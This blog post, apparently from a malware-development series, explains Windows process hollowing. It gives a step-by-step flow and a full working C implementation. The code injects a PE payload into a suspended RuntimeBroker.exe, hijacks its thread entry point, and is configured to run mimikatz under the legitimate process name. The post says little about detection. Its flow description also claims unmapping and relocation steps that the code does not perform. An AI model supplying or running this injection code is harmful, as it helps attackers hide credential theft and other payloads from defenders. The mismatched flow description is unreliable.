Post

Process-Hollowing

Process-Hollowing

What is it?

Spawns a legitimate process in suspended state, unmaps its original executable image from memory, writes a different PE payload into the same address space, fixes relocations, sets correct memory permissions per section, then hijacks the main thread’s instruction pointer to start at the payload’s entry point instead of the original binary’s.

Flow

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
All NT API calls resolved via GetProcAddress (same pattern as other techniques)

Step 1: Read PE payload from disk
  ReadFileDisk("payload.exe") → pFileBuffer, dwFileSize

Step 2: Create suspended target process
  CreateProcessA("C:\Windows\System32\svchost.exe",
                 NULL, NULL, NULL, FALSE,
                 CREATE_SUSPENDED, ...)
  → Pi.hProcess, Pi.hThread
  → svchost.exe exists in memory but hasn't run a single instruction

Step 3: Get the target process's PEB
  NtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation)
  → pbi.PebBaseAddress

  ReadProcessMemory(Pi.hProcess, pbi.PebBaseAddress + ImageBase offset)
  → pRemoteImageBase (where svchost.exe is loaded in the child)

Step 4: Unmap the original image
  NtUnmapViewOfSection(Pi.hProcess, pRemoteImageBase)
  → svchost.exe code is evicted from the child's address space
  → Address range is now free

Step 5: Allocate and write payload
  VirtualAllocEx(Pi.hProcess, pRemoteImageBase,
                 payload SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
  → Allocate at the same base svchost.exe just vacated (preferred base of payload)

  WriteProcessMemory → PE headers
  for each section:
    WriteProcessMemory(child, pRemoteImageBase + section.VirtualAddress,
                       pFileBuffer + section.PointerToRawData,
                       section.SizeOfRawData)

Step 6: Fix relocations
  if pRemoteImageBase != payload's preferred ImageBase:
    delta = pRemoteImageBase - preferredBase
    Walk IMAGE_BASE_RELOCATION, patch each IMAGE_REL_BASED_DIR64 entry
    *(ULONG_PTR*)(pRemoteImageBase + offset) += delta

Step 7: Fix per-section memory permissions
  for each section:
    map Characteristics → VirtualProtectEx
    .text → PAGE_EXECUTE_READ
    .data → PAGE_READWRITE
    .rdata → PAGE_READONLY

Step 8: Hijack thread entry point
  GetThreadContext(Pi.hThread, &Ctx)  (CONTEXT_FULL)
  
  Ctx.Rcx = pRemoteImageBase + payload AddressOfEntryPoint
  → Rcx is the entry point for the Windows thread start wrapper
  
  SetThreadContext(Pi.hThread, &Ctx)

Step 9: Resume
  ResumeThread(Pi.hThread)
  → Thread starts, executes payload entry point

What process tools see:
  Process name:  svchost.exe        ← legitimate name
  Process path:  C:\Windows\...\    ← legitimate path
  Memory .text:  [payload code]     ← doesn't match svchost.exe on disk

The key difference from Ghost Process Injection: in hollowing, svchost.exe is first mapped normally by Windows (complete with all loader initialization), then its code is carved out and replaced. In Ghost injection, the process is created from a custom section without the original binary ever loading. Hollowing leaves the original process name and path intact; Ghost leaves the process with no backing file.

The biggest detection surface: NtUnmapViewOfSection on a process’s own image is highly unusual and heavily signatured. The disk-vs-memory mismatch is also caught by any scanner that compares in-memory PE content against the file path associated with the process.

process-hollowing.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
/*
    Process Hollowing is an injection that injects PE payloads into address space of a remote process.
    
    Implementation steps:
        1. Read PE from Disk
        2. Create Suspended Process
        3. Unmap suspended process binary image
        4. Write PE payload into the same adress space of legit process image
        5. Perform relocation
        6. Fix Memory permissions
        7. Perform thread hijacking to run the payload entry point
        8. Resume process (therefore, execute our PE payload)
*/

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "WindowsApp.lib")
#pragma warning (disable:4996)

/*
    Reads a file from disk into a heap-allocated buffer
    cFileName  -> Name of the PE file to read
    ppAddress  -> Receives a pointer to the heap buffer containing the file data
    pdwFileSize -> Receives the size of the file in bytes
*/
BOOL ReadFileDisk(_In_ LPCSTR cFileName, _Out_ PBYTE* ppAddress, _Out_ PDWORD pdwFileSize) {
    
    HANDLE  hFile = INVALID_HANDLE_VALUE;
    PBYTE   pBuffer = NULL;
    DWORD   dwFileSize = 0x00,
        dwNumBytesRead = 0x00;
    
    // Verify parameters are filled
    if (!cFileName || !ppAddress || !pdwFileSize)
        return FALSE;
    
    *ppAddress = NULL;
    *pdwFileSize = 0;
    
    // Open a handle to the existing file with read access
    hFile = CreateFileA(cFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileA Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Get filesize of file to be read
    dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == INVALID_FILE_SIZE) {
        printf("[!] GetFileSize Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Allocate memory for the file
    pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
    if (!pBuffer) {
        printf("[!] HeapAlloc Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Reading file
    if (!ReadFile(hFile, pBuffer, dwFileSize, &dwNumBytesRead, NULL) || dwFileSize != dwNumBytesRead) {
        printf("[!] ReadFile Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Assign output parameters
    *ppAddress = pBuffer;
    *pdwFileSize = dwFileSize;

_CleanUp:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (!*ppAddress && pBuffer)
        HeapFree(GetProcessHeap(), 0, pBuffer);
    return ((*ppAddress != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}

/*
    Applies correct memory protection to each section of a PE image loaded into memory.
    The image is initially mapped with blanket RW permissions -- this function inspects IMAGE_SECTION_HEADER.Characteristics and calls VirtualProtect to set the appropriate
    R/W/X combination per section.
    pPeBaseAddr -> Base address of the PE image
    pImgNtHdr   -> Pointer to the NT headers
    pImgSecHdr  -> Pointer to the first section header
*/
BOOL FixMemPermissions(_In_ HANDLE hProcess, _In_ ULONG_PTR pPeBaseAddr, _In_ PIMAGE_NT_HEADERS pImgNtHdr, _In_ PIMAGE_SECTION_HEADER pImgSecHdr) {
    if (!hProcess || !pPeBaseAddr || !pImgNtHdr || !pImgSecHdr)
        return FALSE;

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdr->FileHeader.NumberOfSections; i++) {
        
        // Variables to store the new and old memory protections.
        DWORD dwProtection = PAGE_NOACCESS, dwOldProtection = 0x00;
        
        // Skip sections with no raw data or no mapped address 
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        // Determine memory protection based on section characteristics
        // These characteristics dictate whether the section is readable, writable, executable etc
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;
        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;
        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;
        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READ;
        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;
        
        // Apply the determined memory protection to the section
        if (!VirtualProtectEx(hProcess, (PVOID)(pPeBaseAddr + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
            printf("[!] VirtualProtect Failed: %d \n", GetLastError());
            return FALSE;
        }
    }
    return TRUE;
}

/*
    This function recieves the number of bytes available to read from the pipe based on that it alloctaes memory to read that data from the pip
*/
VOID PrintOutput(IN HANDLE StdOutRead) {
    BOOL        bSTATE = TRUE;
    do {
        DWORD   dwAvailableBytes = 0;
        PBYTE   pBuffer = NULL;
        PeekNamedPipe(StdOutRead, NULL, NULL, NULL, &dwAvailableBytes, NULL);
        pBuffer = (PBYTE)LocalAlloc(LPTR, (SIZE_T)dwAvailableBytes);
        if (!pBuffer)
            break;
        if (!(bSTATE = ReadFile(StdOutRead, pBuffer, dwAvailableBytes, NULL, NULL))) {
            LocalFree(pBuffer);
            break;
        }
        printf("%s", (char*)pBuffer);
        LocalFree(pBuffer);
    } while (bSTATE);
}

/*
    Creates hollowed process, utilizes pipes (reading/writing)
    cRemoteProcessImage -> ASCII string of target PE
    cProcessParms -> Optional PE command line arguments
    pProcessInfo -> A pointer to PROCESS_INFORMATION struct (which receive the process information)
    pStdInWrite -> Receive write handle of the child process
    pStdOutRead -> Receive read handle of the target process
*/
BOOL CreateHollowProcess(_In_ LPCSTR cRemoteProcessImage, _In_ OPTIONAL LPCSTR cProcessParms, _Out_ PPROCESS_INFORMATION pProcessInfo, _Out_ HANDLE* pStdInWrite, _Out_ HANDLE* pStdOutRead) {
    if (!cRemoteProcessImage || !pProcessInfo || !pStdInWrite || !pStdOutRead)
        return FALSE;

    // Initialize variables
    STARTUPINFO         StartupInfo = { 0 };
    SECURITY_ATTRIBUTES SecAttr = { 0 };
    HANDLE              StdInRead = NULL,      // Handle for reading from the input pipe. This will be closed
        StdInWrite = NULL,      // Handle for writing to the input pipe.
        StdOutRead = NULL,      // Handle for reading from the output pipe.
        StdOutWrite = NULL;     // Handle for writing to the output pipe. This will be closed
    LPSTR               cRemoteProcessCmd = NULL;
    BOOL                bState = FALSE;

    // Make sure structs are clean
    RtlSecureZeroMemory(pProcessInfo, sizeof(PROCESS_INFORMATION));
    RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&SecAttr, sizeof(SECURITY_ATTRIBUTES));
    
    // Pipe handles must be inheritable so the child process can use them
    SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    SecAttr.bInheritHandle = TRUE;
    SecAttr.lpSecurityDescriptor = NULL;
    // Create stdin pipe parent writes, child reads
    if (!CreatePipe(&StdInRead, &StdInWrite, &SecAttr, 0)) {
        printf("[!] CreatePipe [Input] Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
    
    // Create stdout pipe child writes, parent reads
    if (!CreatePipe(&StdOutRead, &StdOutWrite, &SecAttr, 0)) {
        printf("[!] CreatePipe [Output] Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
    
    // Wire the child's stdio to our pipe handles and suppress its window
    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.dwFlags |= STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.hStdInput = StdInRead;
    StartupInfo.hStdOutput = StartupInfo.hStdError = StdOutWrite;
    
    // Build the full command line: "<image> [args]"
    SIZE_T cmdLen = strlen(cRemoteProcessImage) + (cProcessParms ? strlen(cProcessParms) + 1 : 0) + 1;
    cRemoteProcessCmd = (LPSTR)LocalAlloc(LPTR, cmdLen);
    
    if (!cRemoteProcessCmd) {
        printf("[!] LocalAlloc Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    if (cProcessParms)
        sprintf_s(cRemoteProcessCmd, cmdLen, "%s %s", cRemoteProcessImage, cProcessParms);
    else
        sprintf_s(cRemoteProcessCmd, cmdLen, "%s", cRemoteProcessImage);
    
    // Spawn the target process in a suspended state 
    if (!CreateProcessA(NULL, cRemoteProcessCmd, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &StartupInfo, pProcessInfo)) {
        printf("[!] CreateProcessA Failed With Error: %d \n", GetLastError());
        goto _CleanUp;
    }

    printf("[+] Target Process Created With PID: %d \n", pProcessInfo->dwProcessId);
    
    *pStdInWrite = StdInWrite;
    *pStdOutRead = StdOutRead;
    
    bState = TRUE;

_CleanUp:
    if (cRemoteProcessCmd)
        LocalFree(cRemoteProcessCmd);
    // Close the child-side pipe ends — the parent has no use for them.
    // Closing StdOutWrite is required; without it ReadFile on StdOutRead
    // will block indefinitely waiting for more data instead of returning EOF.
    if (StdInRead)   CloseHandle(StdInRead);
    if (StdOutWrite) CloseHandle(StdOutWrite);
    // On failure, release any pipe handles that would have been returned to the caller
    if (!bState) {
        if (StdInWrite)  CloseHandle(StdInWrite);
        if (StdOutRead)  CloseHandle(StdOutRead);
    }
    return bState;
}

/*
    PE payload can be written anywhere in remote process, we path the ImageBaseAddr from the PEB struct.
    hProcess -> Handle to remote suspended process
    uPeBaseAddr -> Base address of the written PE payload
    reg_Rdx -> RDX register of the main thread (out path)
*/
BOOL PatchBaseAddrImage(_In_ HANDLE hProcess, _In_ ULONG_PTR uPeBaseAddr, _In_ ULONG_PTR reg_Rdx) {
    SIZE_T nBytesWritten = 0;
    // PEB.Reserved3[1] aliases ImageBaseAddress — the field the loader uses to
    // track where the running image is mapped. reg_Rdx is the PEB base address
    ULONG_PTR uImageBaseOffset = reg_Rdx + offsetof(PEB, Reserved3[1]);
    if (!WriteProcessMemory(hProcess, (PVOID)uImageBaseOffset, &uPeBaseAddr, sizeof(ULONG_PTR), &nBytesWritten) || nBytesWritten != sizeof(ULONG_PTR)) {
        printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}

/*
    Performs process hollowing by injecting a PE payload into a suspended host  process and hijacking its main thread to execute the payload.
    Execution flow:
        1.  Spawn the host process suspended with I/O pipes (CreateHollowProcess)
        2.  Validate the PE buffer and locate its NT headers
        3.  Allocate memory in the remote process at the PE's preferred ImageBase
        4.  Write PE headers into the remote allocation
        5.  Write each section to its runtime virtual address in the remote process
        6.  Patch PEB.ImageBaseAddress to reflect the injected payload's base
        7.  Apply correct per-section memory protections (RX / RW / R etc.)
        8.  Redirect the main thread's entry point to the payload (thread hijack)
        9.  Resume the thread and collect stdout output via the pipe
    
    pPeBuffer ->  Raw PE file mapped into local memory
    cRemoteProcessImage -> Path to the host executable to hollow
    cProcessParms ->  Arguments to pass to the host procecess
*/
BOOL RemotePeInjection(_In_ PBYTE pPeBuffer, _In_ LPCSTR cRemoteProcessImage, _In_ OPTIONAL LPCSTR cProcessParms) {
    
    // Veirfy parameters are filled
    if (!pPeBuffer || !cRemoteProcessImage)
        return FALSE;
    
    // Initlize variables
    PROCESS_INFORMATION   ProcessInfo = { 0 };
    CONTEXT               Context = { .ContextFlags = CONTEXT_ALL };
    HANDLE                StdInWrite = NULL;
    HANDLE                StdOutRead = NULL;
    PBYTE                 pRemoteAddr = NULL;
    PIMAGE_NT_HEADERS     pImgNtHdr = NULL;
    PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
    SIZE_T                nBytesWritten = 0;
    BOOL                  bState = FALSE;
    
    // Spawn the host process suspended with stdin/stdout pipes for I/O capture
    if (!CreateHollowProcess(cRemoteProcessImage, cProcessParms, &ProcessInfo, &StdInWrite, &StdOutRead))
        goto _CleanUp;
   
    // Verify struct is filled
    if (!ProcessInfo.hProcess || !ProcessInfo.hThread)
        goto _CleanUp;
    
    // Locate the NT headers: DOS header gives e_lfanew, the offset to IMAGE_NT_HEADERS
    pImgNtHdr = (PIMAGE_NT_HEADERS)((ULONG_PTR)pPeBuffer + ((PIMAGE_DOS_HEADER)pPeBuffer)->e_lfanew);
    if (pImgNtHdr->Signature != IMAGE_NT_SIGNATURE) {
        printf("[!] Invalid NT Header! \n");
        goto _CleanUp;
    }
    
    // Allocate a contiguous region in the remote process at the PE's preferred ImageBase. All sections are written as PAGE_READWRITE here; FixMemPermissions corrects
    pRemoteAddr = (PBYTE)VirtualAllocEx(ProcessInfo.hProcess, (LPVOID)(ULONG_PTR)pImgNtHdr->OptionalHeader.ImageBase, (SIZE_T)pImgNtHdr->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteAddr) {
        printf("[!] VirtualAllocEx Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
    
    // Informational 
    printf("[+] Remote Image Base Address: 0x%p \n", (void*)pRemoteAddr);
    printf("[+] Prefferable Base Address: 0x%p \n", (void*)(ULONG_PTR)pImgNtHdr->OptionalHeader.ImageBase);
    
    // This implementation does not process the relocation table, so the payload must load at its preferred ImageBase
    if (pRemoteAddr != (PBYTE)(ULONG_PTR)pImgNtHdr->OptionalHeader.ImageBase) {
        printf("[!] PE Payload Image Base not correct! \n");
        goto _CleanUp;
    }
    
    printf("[+] Press <Enter> To Write PE Payload! \n");
    getchar();
    
    // Write the PE headers (MZ, DOS stub, NT headers, section table) as a single block
    if (!WriteProcessMemory(ProcessInfo.hProcess, pRemoteAddr, pPeBuffer, pImgNtHdr->OptionalHeader.SizeOfHeaders, &nBytesWritten) || pImgNtHdr->OptionalHeader.SizeOfHeaders != nBytesWritten) {
        printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
    
    // Informational
    printf("[+] Wrote Headers At: 0x%p of Size (Bytes): %d \n", (void*)pRemoteAddr, (int)pImgNtHdr->OptionalHeader.SizeOfHeaders);
    
    // Write each section to its runtime location in the remote process
    pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdr);
    for (int i = 0; i < pImgNtHdr->FileHeader.NumberOfSections; i++) {
        PVOID pDest = (PVOID)(pRemoteAddr + pImgSecHdr[i].VirtualAddress);
        PVOID pSrc = (PVOID)(pPeBuffer + pImgSecHdr[i].PointerToRawData);
        printf("[+]   Section %-8.8s -> remote 0x%p (%lu bytes)\n",
            pImgSecHdr[i].Name, pDest, (ULONG)pImgSecHdr[i].SizeOfRawData);
        if (!WriteProcessMemory(ProcessInfo.hProcess, pDest, pSrc, pImgSecHdr[i].SizeOfRawData, &nBytesWritten) || nBytesWritten != pImgSecHdr[i].SizeOfRawData) {
            printf("[!] WriteProcessMemory [Section %d] Failed With Error: %d\n", i, GetLastError());
            goto _CleanUp;
        }
    }
    
    // Capture the full CPU context of the suspended main thread.
        // We need this to read RDX (PEB address) and later update RCX (entry point).
    if (!GetThreadContext(ProcessInfo.hThread, &Context)) {
        printf("[!] GetThreadContext Failed With Error: %d\n", GetLastError());
        goto _CleanUp;
    }
   
    // At process creation, RDX holds the PEB base address. Patch PEB.ImageBaseAddress
    // so it points to our payload rather than the original executable — some runtime
    // code reads this field to locate the running image.
    if (!PatchBaseAddrImage(ProcessInfo.hProcess, (ULONG_PTR)pRemoteAddr, Context.Rdx))
        goto _CleanUp;
    
    // Correct per-section memory protections now that all writes are complete
    if (!FixMemPermissions(ProcessInfo.hProcess, (ULONG_PTR)pRemoteAddr, pImgNtHdr, pImgSecHdr))
        goto _CleanUp;
    
    printf("[+] Press <Enter> to hijack thread and resume...\n");
    getchar();
    
    // When the main thread starts, BaseThreadInitThunk calls the function whose address is in RCX — that is how Windows passes the entry point to the CRT
    Context.Rcx = (DWORD64)(pRemoteAddr + pImgNtHdr->OptionalHeader.AddressOfEntryPoint);
    
    if (!SetThreadContext(ProcessInfo.hThread, &Context)) {
        printf("[!] SetThreadContext Failed With Error: %d\n", GetLastError());
        goto _CleanUp;
    }
    
    if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1) {
        printf("[!] ResumeThread Failed With Error: %d\n", GetLastError());
        goto _CleanUp;
    }
    
    // Block until the payload finishes, then drain the stdout pipe
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    
    printf("[+] Process exited — reading output:\n\n");
    PrintOutput(StdOutRead);
    
    bState = TRUE;

_CleanUp:
    if (!bState && pRemoteAddr && ProcessInfo.hProcess)
        VirtualFreeEx(ProcessInfo.hProcess, pRemoteAddr, 0, MEM_RELEASE);
    if (StdInWrite)           CloseHandle(StdInWrite);
    if (StdOutRead)           CloseHandle(StdOutRead);
    if (ProcessInfo.hThread)  CloseHandle(ProcessInfo.hThread);
    if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess);
    return bState;
}

#define PE_FILE "C:\\Users\\maldev\\Downloads\\mimikatz-master\\mimikatz-master\\x64\\mimikatz.exe"
#define TARGET_PROCESS "C:\\Windows\\System32\\RuntimeBroker.exe"
#define ARGS    "coffee exit"

int main() {
    PBYTE pBuffer = 0;
    DWORD dwBuffer = 0;

    if (!ReadFileDisk(PE_FILE, &pBuffer, &dwBuffer))
        return -1;

    return RemotePeInjection(pBuffer, TARGET_PROCESS, ARGS) ? 0 : -1;
}
This post is licensed under CC BY 4.0 by the author.
Source code: Process-Hollowing